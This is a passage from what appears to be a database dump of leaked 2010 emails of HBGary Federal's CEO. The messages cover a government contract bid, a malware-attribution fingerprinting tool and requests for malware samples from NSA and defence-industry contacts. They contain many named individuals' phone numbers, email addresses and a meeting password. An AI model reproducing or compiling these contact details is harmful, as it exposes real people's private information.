Apple (mobile and desktop platform, application assistance -long\r\nlist\r\n> of strategic partners)\r\n> \r\n> We are trying to schedule an interview with ATT plus some other small\r\n> app developers. \r\n> \r\n> \r\n> We, truly have the team to beat on this!\r\n> \r\n> Let me know if you need more info.\r\n> \r\n> Thanks,\r\n> \r\n> Chris Clair\r\n> \r\n> -----Original Message-----\r\n> From: Pisani, Albert A. (TASC) \r\n> Sent: Thursday, July 15, 2010 2:52 PM\r\n> To: Aaron Barr; Clair, Chris (TASC)\r\n> Cc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Garcia, Kathy\r\n> (TASC); Ted Vera\r\n> Subject: RE: EXTERNAL:\r\n> \r\n> Aaron:\r\n> \r\n> This is excellent news.\r\n> \r\n> All - What progress has been made in identifying and capturing key\r\nfolks\r\n> that are currently in place supporting the customer?\r\n> \r\n> Thanks.\r\n> \r\n> AL\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, July 15, 2010 2:25 PM\r\n> To: Clair, Chris (TASC)\r\n> Cc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Pisani, Albert\r\nA.\r\n> (TASC); Garcia, Kathy (TASC); Ted Vera\r\n> Subject: EXTERNAL:\r\n> \r\n> Coin update.\r\n> \r\n> I had good conversations with Mary beth, John, and Marek today.  I\r\n> chided them a bit for not getting the rfp out and they said it looks\r\n> like they will be able to get it out in august.  John is still very\r\n> dissatisfied with current work and said they need some of the\r\n> innovation like they used to have.  :)\r\n> \r\n> We talked a lot about mobile and social media and the quickly changing\r\n> landscape.\r\n> \r\n> Based on wonderful meetings yesterday and today and our strategy/team\r\n> i think we are the team to beat.  I talked to John about general\r\n> capabilities I think his shop needs and he agreed.  This fits right in\r\n> our strategy.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5788,'aaron_hbgary_com/5788.html'),(8812,'2010-07-19','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297006727.M369081P14101Q3667.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: HBGary Federal Funding and Pipeline Discussion @ Mon Jul 19 	3:30pm - 4:30pm (aaron@hbgary.com)',' more details &raquo;HBGary Federal Funding and Pipeline DiscussionWhenMon Jul 19 3:30pm – 4:30pm Eastern TimeWhere Telecon (number to follow) (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;greg@hbgary.com&#x2022;rich@hbgary.com&#x2022;bob@hbgary.com&#x2022;penny@hbgary.com&#x2022;ted@hbgary.comGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',9249,'aaron_hbgary_com/9249.html'),(8813,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006727.M607248P14101Q3668.eml','\"Ghent, Ralph\" <rdghent@nsa.gov>','Re: Malware Genome and Attribution','I did.  I figured it would be flagged by some folks.  I wanted to get\r\nit out there though as i think the potential uses are important.\r\n\r\nSorry for any inconvenience.\r\nAaron\r\n\r\n\r\nSent from my iPad\r\n\r\nOn Jul 19, 2010, at 3:10 PM, \"Ghent, Ralph \"  wrote:\r\n\r\n> Aaron:\r\n>\r\n> Did yu send me an email on 7/16/2010 at 10:27 AM with subject as\r\n> \"Attribution\"?\r\n>\r\n> There is a suspicious email from you with that subject and an attachment\r\n> that is a jpeg file.\r\n>\r\n> Thx,\r\n>\r\n> Ralph Ghent\r\n> rdghent@nsa.gov\r\n> Ph: 443-654-0129\r\n> -----Original Message-----\r\n> From: Ghent, Ralph\r\n> Sent: Friday, February 05, 2010 7:19 AM\r\n> To: \'Aaron Barr\'\r\n> Subject: RE: Malware Genome and Attribution\r\n>\r\n> Aaron,\r\n> Thx for your kind patience.  Sometimes the optempo here is high and good\r\n> new efforts, such as yours, take time to gain traction with the right\r\n> crowd.\r\n>\r\n> Sincerely,\r\n> Ralph Ghent\r\n> rdghent@nsa.gov\r\n> Ph: 443-654-0129\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, February 04, 2010 4:38 PM\r\n> To: Gipson, Vergle\r\n> Cc: Ghent, Ralph ; Fraticelli, David ; Boseman, Barry A; Bodman, Jerry\r\n> M; Trimm, David A; George, Anthony J; Harley Parkes; Carbin, Jeffery J.;\r\n> Brenner, Joel F; McFalls, John ; Ingle, Jeffrey T; Korom, Peggy L;\r\n> Raistrick, Nicole ; Meros, Stephen J; Willard, Gerald\r\n> Subject: Re: Malware Genome and Attribution\r\n>\r\n> Thank you for the response.  Please let me know when is convenient to\r\n> get together for a discussion.  Feel free to give me a call at\r\n> 719.510.8478.  I am not exactly sure which office you are from, but as a\r\n> heads up we recently received a request to set up a demo and discussion\r\n> with the ANO office, David Luber and Katelyn Sprague.  Not sure if we\r\n> can combine discussions or not.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n> On Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n>\r\n>> Ralph,\r\n>>\r\n>> 	Thanks for reminding me about this one.\r\n>>\r\n>> Dave/Barry/Matt -- follow up on this please.\r\n>>\r\n>> Vergle\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ghent, Ralph\r\n>> Sent: Tuesday, February 02, 2010 7:02 AM\r\n>> To: Ghent, Ralph ; Gipson, Vergle\r\n>> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley Parkes;\r\n>\r\n>> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n>> Subject: RE: Malware Genome and Attribution\r\n>>\r\n>> Vergle,\r\n>> Reminder of the thread below, and your awareness of the efforts of\r\n> Aaron\r\n>> Barr; which may be supportive of your Malware catalog efforts.   Have\r\n>> not seen any response since this was raised in early December.\r\n>>\r\n>> Also, pls see recent news article below:\r\n>>\r\n>> \'Cyber Genome Project\': The military scientists want to establish a\r\n>> \"Cyber Genome\" project which will allow any digital artifact - a\r\n>> document, apiece of malware - to be probed to its very origins.\r\n>> According to an announcement put out yesterday by DARPA, the \"Cyber\r\n>> Genome Program\" will \"produce revolutionary cyber defense and\r\n>> investigatory technologies\".\r\n>> Source: http://www.theregister.co.uk/2010/01/26/cyber_genome_project/\r\n>>\r\n>> VR,\r\n>> Ralph Ghent\r\n>> rdghent@nsa.gov\r\n>> Ph: 443-654-0129\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ghent, Ralph\r\n>> Sent: Monday, January 11, 2010 3:05 PM\r\n>> To: Gipson, Vergle\r\n>> Subject: FW: Malware Genome and Attribution\r\n>>\r\n>> Vergle:\r\n>> I mentioned this fellow to you awhile back and emailed you all in V2\r\n>> as to possible interest in engaging him to learn of his efforts (which\r\n>\r\n>> seem to me to be very closely aligned to the Carnegie-Mellon Malicious\r\n>\r\n>> Code Catalog efforts).\r\n>>\r\n>> I spoke with Alex at Marshall\'s reception on 8 jan and he said he was\r\n>> holding back on responding til he saw your comments/guidance.\r\n>>\r\n>>\r\n>> Ralph Ghent\r\n>> rdghent@nsa.gov\r\n>> Ph: 443-654-0129\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>> Sent: Friday, January 08, 2010 10:23 AM\r\n>> To: Ghent, Ralph\r\n>> Subject: Re: Malware Genome and Attribution\r\n>>\r\n>> Hi Ralph,\r\n>>\r\n>> Happy New Year.\r\n>>\r\n>> I am still very interested to talk to folks there about the Malicious\r\n>> Code Catalog and our Malware Genome and Digital DNA if there is\r\n>> interest on that side.  As I mentioned we have recently partnered with\r\n>\r\n>> Palantir and are working on a partnership with Netwitness and maybe 1\r\n>> or 2 other small vendors with complimentary technology.  I think\r\n>> something really substantial can be put together.\r\n>>\r\n>> Aaron\r\n>>\r\n>>\r\n>> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n>>\r\n>>> Aaron,\r\n>>> Did anyone from the NTOC contact you yet?\r\n>>> Respectfully,\r\n>>>\r\n>>>\r\n>>> Ralph Ghent\r\n>>> rdghent@nsa.gov\r\n>>> Ph: 443-654-0129\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Ghent, Ralph\r\n>>> Sent: Friday, December 04, 2009 2:27 PM\r\n>>> To: \'Aaron Barr\'\r\n>>> Subject: RE: Malware Genome and Attribution\r\n>>>\r\n>>> Aaron,\r\n>>> Many thanks for the additional info and the opportunity to chat\r\n>>> briefly at Leesburg.\r\n>>>\r\n>>> I have pushed your info to those within my Agency who are working\r\n>>> with\r\n>>\r\n>>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this time next\r\n>\r\n>>> week, no one has reached-out to you, pls email me again and I will\r\n>>> follow up with them.\r\n>>>\r\n>>> Sincerely,\r\n>>>\r\n>>>\r\n>>> Ralph Ghent\r\n>>> rdghent@nsa.gov\r\n>>> Ph: 443-654-0129\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>>> To: Ghent, Ralph\r\n>>> Subject: Malware Genome and Attribution\r\n>>>\r\n>>> Ralph,\r\n>>>\r\n>>> Thank you for stepping in and asking about my discussion about\r\n>>> Malware\r\n>>\r\n>>> detection, genomes, and attribution.  I am very new to my current\r\n>>> position as CEO of HBGary Federal, prior to this I was the Technical\r\n>>> Director for Northrop Grummans Cyber and SIGINT Systems BU and the\r\n>>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 weeks ago\r\n>>> if we can make headway against attribution I would have said no, not\r\n>>> until we have better situational awareness, network characterization,\r\n>\r\n>>> CND/CNE integration, etc.\r\n>>>\r\n>>> Then I started to learn about HBGarys Malware Genome database, where\r\n>>> they have characterized 3500 traits of malware to date, and are\r\n>>> starting to make associations of authorship across malware.  I\r\n>>> immediately thought of Palantirs capability to link analysis and had\r\n>> an aha moment.\r\n>>> But I knew that other capabilities needed to be added if we were\r\n>>> seriously going to take a crack at attribution.\r\n>>>\r\n>>> Anyway, you had mentioned Carnegie Melon had some efforts here.  I\r\n>>> would love to talk with them and combine efforts if appropriate to\r\n>>> develop the capability that is needed to help with this challenge.\r\n>>>\r\n>>> Thank You,\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> 301.652.8885 x117\r\n>>> 719.510.8478\r\n>>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n',8645,'aaron_hbgary_com/8645.html'),(8814,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006727.M828773P14101Q3669.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','Re: EXTERNAL:Attribution','Soundsgood\r\n\r\nSent from my iPad\r\n\r\nOn Jul 19, 2010, at 8:25 AM, \"Masterson, Brian M (XETRON)\"\r\n wrote:\r\n\r\n> Hey Aaron,\r\n> Will give you a call as soon as I put out some fires to discuss.\r\n> Do you have access to Danny Quist\'s Offensive Computing malware\r\n> collection?  We have it on disk.  I can\'t put that into a zip though.\r\n> Would have to send you a hard drive.  Also, we have a collection from\r\n> CMU that came from the Fort.  I am not sure if we can give that to a\r\n> commercial company.  I think they asked us not to do that.  I know guys\r\n> in IS got a bunch of malware from VX Heavens and Georgia Tech ISC.\r\n>\r\n> Brian\r\n>\r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, Cyber Solutions\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3877\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, July 16, 2010 10:27 PM\r\n> To: Aaron Barr\r\n> Subject: EXTERNAL:Attribution\r\n>\r\n> I am sending this request to a small group of individuals.  Please do\r\n> not forward this email to third parties.  HBGary is working hard to help\r\n> solve the attribution problem.  We have developed a fingerprint tool\r\n> which extracts toolmarks left behind in malware executables.  We use\r\n> these toolmarks to cluster exploits together which were compiled on the\r\n> same computer system or development environment.  Notice the clusters in\r\n> the graphic below. These groupings illustrate the relationships between\r\n> over 3000 malware samples.\r\n>\r\n> We need your help to further validate and improve the tool.  Eventually\r\n> you can imagine combining this data with open source and intelligence\r\n> data.  I can see attribution as potentially a solvable problem.  We need\r\n> your malware samples, as many as you can provide.  This is not something\r\n> we are looking to profit from directly, we will be giving this tool away\r\n> at Blackhat, so helping us improve the tool will help the community beat\r\n> back the threat.  If possible please have your representative CISOs or\r\n> cybersecurity personnel send malware samples in a password protected zip\r\n> file.  Provide the password via phone 719-510-8478 or fax to:\r\n> 720-836-4208 we need your samples as soon as possible.  Samples provided\r\n> will not be shared with third parties and your participation will be\r\n> held in strict confidence.\r\n>\r\n> In exchange for your help, I will provide you with a summary report of\r\n> our findings and you will have made a significant contribution to\r\n> securing America\'s networks.\r\n>\r\n>\r\n',7208,'aaron_hbgary_com/7208.html'),(8815,'2010-07-19','\"Ted Vera\" <messenger@webex.com>','/aaron@hbgary.com/new/1297006728.M320384P14101Q3671.eml','aaron@hbgary.com','Please join now, meeting in progress: HBGary Federal',' Hello Aaron Barr,   Please join my meeting that is currently in progress.   Topic: HBGary Federal  Date: Monday, July 19, 2010  Time: 3:30 pm, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 575 202 239  Meeting Password: ddna    -------------------------------------------------------  To join the online meeting (Now from the Apple iPhone (R) too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/e.php?AT=WMI&EventID=151598622&PW=NYTZhMzA1ZmRj&RT=MiMxMQ%3D%3D  2. If requested, enter your name and email address.  3. If a password is required, enter the meeting password: ddna  4. Click \"Join\".  5. Follow the instructions that appear on your screen.   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/e.php?AT=WMI&EventID=151598622&PW=NYTZhMzA1ZmRj&ORT=MiMxMQ%3D%3D   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=151598622&tollFree=0   Access code:575 202 239   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   ted@hbgary.com    Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, discuss your concerns with the meeting host prior to the start of the recording or do not join the session. Please note that any such recordings may be subject to discovery in the event of litigation.  ',11123,'aaron_hbgary_com/11123.html'),(8816,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006728.M534949P14101Q3672.eml','\"William Luti\" <wluti@digitalmanagement.com>','Re: Meeting Tuesday morning','Bill,I am very sorry to have to cancel this afternoon.  I am in Bethesda but my wife called with a rare debilitating migraine so i am headed home.  I have a meeting tomorrow morning at 9am for an hour.  I can flex everything else tomorrow or Wednesday if there is a time we can get together.  I will send back some thoughts via email tonight.\r\nAaron Sent from my iPadOn Jul 19, 2010, at 8:01 AM, William Luti &lt;wluti@digitalmanagement.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron, this morning works for me but let me check with the other\r\nfolks and get back to you shortly. Bill\r\n\r\n \r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, July 19, 2010 7:57 AM\r\nTo: William Luti\r\nSubject: Meeting Tuesday morning\r\n\r\n\r\n\r\n \r\n\r\nBill,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAny chance we could get together anytime today, tomorrow\r\nafternoon, or wednesday.  Wouldn&#39;t you know I scheduled by memory and\r\npicked the only time so far this week I actually have a scheduled meeting.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n-- \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5598,'aaron_hbgary_com/5598.html'),(8817,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006728.M774317P14101Q3673.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting Tuesday morning','Cancel that I will be there.\r\n\r\nSent from my iPad\r\n',1601,'aaron_hbgary_com/1601.html'),(8818,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006728.M83558P14101Q3670.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: EXTERNAL:Re: EXTERNAL:','How about tomorrow afternoon?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 19, 2010, at 3:17 PM, \"Clair, Chris (TASC)\"\r\n wrote:\r\n\r\n> Hi Aaron,\r\n>\r\n> My week is open.  What are some dates/times you have free?\r\n>\r\n> Chris\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, July 19, 2010 2:19 PM\r\n> To: Clair, Chris (TASC)\r\n> Subject: EXTERNAL:Re: EXTERNAL:\r\n>\r\n> Chris,\r\n>\r\n> Probably a good time to talk about what role I would like to play once\r\n> we win.  I know it is impossible until we really see the RFP to\r\n> determine any concise workshare but probably a good idea for you and I\r\n> to have a high level discussion on the topic so we aren\'t surprising\r\n> each other with a perspective that doesn\'t match.  I definitely want to\r\n> use this contract to rebuild an IO development capability as well as\r\n> provide some of the strategy, planning and security services.  Again we\r\n> don\'t know size of contract yet but on the low side I would like 5 FTEs\r\n> and on the high side I would like 10 FTEs (depending on size of\r\n> contract) mostly doing mobile and social media development.  Overall I\r\n> would like 25% of the overall contract value.  So lets set up a time to\r\n> talk I would like to hear your thoughts.\r\n>\r\n> Aaron\r\n>\r\n> On Jul 19, 2010, at 2:00 PM, Clair, Chris (TASC) wrote:\r\n>\r\n>> Hi Al,\r\n>>\r\n>> We are currently working on defining the positions for key folks we\r\n> want\r\n>> on COIN.  We expect to get the reqs posted by end of the month.\r\n>>\r\n>> By the way, Aaron and I thought it a good idea for you to visit the\r\n>> customer who has the COIN mission.  What are your availabilities for\r\n> the\r\n>> next week or two?  Additionally, who else do you think should attend?\r\n>>\r\n>> Since Aaron has communications with the customer, I defer to him to\r\n>> arrange the meeting.  He also wants to pre-brief you on some of the\r\n>> mission intricacies.\r\n>>\r\n>> We spoke to Google and Apple last week.  They both agreed to be on our\r\n>> team!  I love this kind of innovation.\r\n>>\r\n>> Our team consists of:\r\n>>\r\n>> - TASC (PMO, creative services)\r\n>> - HB Gary (Strategy, planning, PMO)\r\n>> - Akamai (infrastructure)\r\n>> - Archimedes Global (Specialized linguistics, strategy, planning)\r\n>> - Acclaim Technical Services (specialized linguistics)\r\n>> - Mission Essential Personnel (linguistic services)\r\n>> - Cipher (strategy, planning operations)\r\n>> - PointAbout (rapid mobile application development, list of strategic\r\n>> partners)\r\n>> - Google (strategy, mobile application and platform development - long\r\n>> list of strategic partners)\r\n>> - Apple (mobile and desktop platform, application assistance -long\r\n> list\r\n>> of strategic partners)\r\n>>\r\n>> We are trying to schedule an interview with ATT plus some other small\r\n>> app developers.\r\n>>\r\n>>\r\n>> We, truly have the team to beat on this!\r\n>>\r\n>> Let me know if you need more info.\r\n>>\r\n>> Thanks,\r\n>>\r\n>> Chris Clair\r\n>>\r\n>> -----Original Message-----\r\n>> From: Pisani, Albert A. (TASC)\r\n>> Sent: Thursday, July 15, 2010 2:52 PM\r\n>> To: Aaron Barr; Clair, Chris (TASC)\r\n>> Cc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Garcia, Kathy\r\n>> (TASC); Ted Vera\r\n>> Subject: RE: EXTERNAL:\r\n>>\r\n>> Aaron:\r\n>>\r\n>> This is excellent news.\r\n>>\r\n>> All - What progress has been made in identifying and capturing key\r\n> folks\r\n>> that are currently in place supporting the customer?\r\n>>\r\n>> Thanks.\r\n>>\r\n>> AL\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Thursday, July 15, 2010 2:25 PM\r\n>> To: Clair, Chris (TASC)\r\n>> Cc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Pisani, Albert\r\n> A.\r\n>> (TASC); Garcia, Kathy (TASC); Ted Vera\r\n>> Subject: EXTERNAL:\r\n>>\r\n>> Coin update.\r\n>>\r\n>> I had good conversations with Mary beth, John, and Marek today.  I\r\n>> chided them a bit for not getting the rfp out and they said it looks\r\n>> like they will be able to get it out in august.  John is still very\r\n>> dissatisfied with current work and said they need some of the\r\n>> innovation like they used to have.  :)\r\n>>\r\n>> We talked a lot about mobile and social media and the quickly changing\r\n>> landscape.\r\n>>\r\n>> Based on wonderful meetings yesterday and today and our strategy/team\r\n>> i think we are the team to beat.  I talked to John about general\r\n>> capabilities I think his shop needs and he agreed.  This fits right in\r\n>> our strategy.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPad\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',1505,'aaron_hbgary_com/1505.html'),(8819,'2010-07-19','\"Jeff Castelli\" <JeffCastelli@phaseone.net>','/aaron@hbgary.com/new/1297006729.M272923P14101Q3675.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Lunch?  Beer?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSure.&nbsp; 1200 works well for me if we can do it around here\r\nsomewhere (Tysons Corner).&nbsp; Do you live in VA? If so, breakfast on the way to\r\nwork might work better&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.Otherwise, Friday is much better for me for\r\nlunch.\r\n\r\n&nbsp;\r\n\r\nJeff\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nVP, Director Washington Operations\r\n\r\nPhaseOne Communications\r\n\r\n&nbsp;\r\n\r\nemail:&nbsp; jeffcastelli@phaseone.net\r\n\r\nOffice:&nbsp;&nbsp;&nbsp;&nbsp; 571-830-6816\r\n\r\nFax:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 571-830-6819\r\n\r\nCell:&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; 310 612 6413\r\n\r\n&nbsp;\r\n\r\nThis email is confidential and intended solely for the use of\r\nthe individual or organization to whom it is addressed. &nbsp;If you are not\r\nthe intended recipient of this email, you should not copy, modify, distribute,\r\nor take any action in reliance on it. &nbsp;If you have received this email in\r\nerror, please notify the sender and delete this email from your system.\r\n&nbsp;Although this email has been checked for viruses and other defects, no\r\nresponsibility can be accepted for any loss or damage arising from its receipt\r\nor use.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, July 19, 2010 3:08 PM\r\nTo: Jeff Castelli\r\nSubject: Re: Lunch? Beer?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Jeff,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo you have some time tomorrow for lunch?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 16, 2010, at 12:04 PM, Jeff Castelli wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\nI really enjoyed meeting you last night.&nbsp; It was a very entertaining\r\nevening.&nbsp; As I mentioned, there is something I&#8217;d like to discuss with you\r\nthat may be a potential area of collaboration.&nbsp; Would love to sit down and\r\ndiscuss further.&nbsp; I was supposed to be in LA next week but that got pushed\r\nback a week so I should be around.&nbsp; Wednesday is probably not a good day\r\nbut otherwise I can adapt.&nbsp; Take care and I look forward to seeing you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJeff\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nVP,\r\nDirector Washington Operations\r\n\r\n\r\n\r\n\r\n\r\nPhaseOne\r\nCommunications\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nemail:&nbsp;&nbsp;jeffcastelli@phaseone.net\r\n\r\n\r\n\r\n\r\n\r\nOffice:&nbsp;&nbsp;&nbsp;&nbsp;\r\n571-830-6816\r\n\r\n\r\n\r\n\r\n\r\nFax:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n571-830-6819\r\n\r\n\r\n\r\n\r\n\r\nCell:&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp; 310 612 6413\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis\r\nemail is confidential and intended solely for the use of the individual or\r\norganization to whom it is addressed. &nbsp;If you are not the intended\r\nrecipient of this email, you should not copy, modify, distribute, or take any\r\naction in reliance on it. &nbsp;If you have received this email in error,\r\nplease notify the sender and delete this email from your system. &nbsp;Although\r\nthis email has been checked for viruses and other defects, no responsibility\r\ncan be accepted for any loss or damage arising from its receipt or use.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2913,'aaron_hbgary_com/2913.html'),(8820,'2010-07-19','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','/aaron@hbgary.com/new/1297006729.M30488P14101Q3674.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Invitation: Brian Hibbeln','Aaron,\r\nI look forward to seeing what you produce.  It sounds exciting.  On a\r\ndifferent front, today I met a guy working social media/IO for SOCOM.  I am\r\nhoping to meet with him in the future.  Maybe I can arrange for you and he\r\nto meet as well to discuss some of your ideas.\r\nCheers,\r\nIrv\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, July 19, 2010 3:03 PM\r\nTo: Hibbeln, Brian, Mr, OSD-ATL\r\nCc: Tubbs, Gregory [Ctr]; Lachow, Irving Mr OSD ATL\r\nSubject: Re: Invitation: Brian Hibbeln\r\n\r\nBrian,\r\n\r\nThank you.  Love to hear what is discussed.\r\n\r\nBTW, we are releasing a fingerprint tool at Blackhat on the 28th, we are\r\nopen sourcing this tool for all to use.  This tool pulls key environmental\r\nvariables out of malware which can be correlated as illustrated in the graph\r\nbelow.  An idea for a JCTD next year might be to take this tool, our volume\r\nmalware processor, open source and intelligence data and build threat\r\nmodels.  I think this combination we can really make some inroads on\r\nattribution.  Between HBGary + SecDev + Palantir I think we can make this\r\nhappen.\r\n\r\nThe graph attached represents 3000 malware samples.  Notice the clustering\r\nof different malware samples by similarity in development environments. With\r\nthis data if we can associate open source or intel data to one in a cluster\r\nwe can start to make associations to all of them in the cluster.  More\r\nresearch needs to be done but I think this could be big.\r\n\r\nJust some thoughts.\r\n\r\nAaron\r\n\r\n',1303,'aaron_hbgary_com/1303.html'),(8821,'2010-07-19','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297006729.M582487P14101Q3676.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','HelpNet Security Coverage','HelpNet Security just wrote a piece based on today&#39;s NWW story. CNET would also like to do an interview; waiting on Elinor to provide date/time. As you know, eWeek and Dark Reading already published this articles, GCN will run next week. As we approach next week, I expect to get increased interest and coverage and want to be sure we&#39;re completely prepared for release of tool. http://www.net-security.org/malware_news.php?id=1406\r\n\r\n \r\nPenny, let&#39;s talk ASAP. Thanks, Karen \r\n',16823,'aaron_hbgary_com/16823.html'),(8822,'2010-07-19','\"Ghent, Ralph\" <rdghent@nsa.gov>','/aaron@hbgary.com/new/1297006729.M810467P14101Q3677.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Malware Genome and Attribution','No apology needed.  Just making sure it was legit from you.  \r\n\r\nAltho yu ask for no further distro, may I ensure my NTOC V3 guys (who\r\nmet with yu) see it.  \r\n\r\nOr did you also incl them in your header 